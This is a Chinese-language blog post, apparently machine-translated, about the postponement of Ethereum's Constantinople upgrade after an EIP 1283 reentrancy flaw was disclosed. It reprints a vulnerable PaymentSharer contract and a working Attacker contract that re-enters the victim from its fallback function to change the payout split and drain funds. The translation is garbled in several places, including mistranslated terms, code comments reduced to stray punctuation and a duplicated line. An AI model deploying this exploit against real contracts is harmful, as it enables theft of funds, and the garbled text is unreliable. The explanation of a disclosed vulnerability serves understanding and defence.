*许多人将此事件称为“硬分叉”，但Vitalik 反对 。期待已久的君士坦丁堡发布会原定
于1月17日世界标准时间凌晨4点举行 ，但是，再次残酷地拆散了无数
倒计时计数器开发商的
队伍，这是不可能实现的。
在正式发布之前的30小时，由于发现了漏洞，在“更好的交织而不是不中断”的原则指导下，更新被无限期推迟。
EIP 1283的鲁ck报价使整个社区都为之震撼，这降低了执行SSTORE（sic！）指令的成本。 通常，更新的主要方向之一是更廉价，更快速地执行特别繁重的指令。
1月15日的事件发展
如下 （太平洋标准时间）：
- 上午8点，ChainSecurity发布了该漏洞的描述 ；
- 就在那儿，Martin Holst Swende（以太坊基金会的主要安全警卫）唤醒了所有关键开发人员，回想起更新仅剩37个小时了，在这里我们有了它 ；
- 中午之前，聊天室和“语音”引起了激烈的争论；
- 晚餐时，决定取消更新。
部署舰船的时间选择得很差，使情况更加恶化：在过去的几周中，几乎一半的节点都得到了更新，而其他所有节点都被有条不紊地进行了持续性的调度。 结果，现在更新的节点将需要再次更新（向上或向下... mda）。 谁没有时间和时间睡在所有事物上-做得好，他们不需要做任何事。
然后一切都是可以预见的-市场反应了以太（haha）速率崩溃5％。 当然，许多人愤愤不平，他们说指令的价格会如何影响保密性，为什么要将它放在那里以及所有这些……但是，实际上，没什么不寻常的，一切都和其他人一样。
最好在
ChainSecurity的原始文章中了解该漏洞的技术细节，这并不难理解。
谁懒得深入研究代码-关键是在更新之前SSTORE指令非常昂贵，以至于君士坦丁堡更新指令变得更便宜（和）之后，您无法更改其他合同的“状态”，而您可以更改“商店”很多次，从而改变了脆弱合同的逻辑。
脆弱的合同代码（附我的评论）：
pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; // , ( ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } // , function deposit(uint id) public payable { deposits[id] += msg.value; } // function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // , ( split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // ( fallback- ) a.transfer(depo * splits[id] / 100); // - ( ) b.transfer(depo * (100 - splits[id]) / 100); } }
攻击合同代码：
pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // *, PaymentSharer function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback , transfer- function () payable external { address x = victim; // , ( , updateSplit(0, 0)), .. Split assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } }
*原件中的*缺失，但应该在某处进行以下形式的初始化：
初始化（0，“攻击者合同地址”，“攻击者的钱包地址”）
在调用Attack方法之前。
当然，PaymentSharer合同本身还有很多问题，在这些问题上我们看到了漏洞，它本身是盲目的盲目性，问题就在于此。
而不是SSTORE的价格，总的来说-他们没有在发布网络中找到一个真实的例子，而是决定安全地使用它，所有错误的价格可能都太高了（每个人都在这里记住了已死的DAO）。
总的来说，以太坊社区有很多有趣的事件：灰色市场主要人士（GPU与ASIC）的斗争加剧了，这本身值得一提，即将发布的培根链（Bacon Chain）势头强劲-今年有望充满事件和阴谋。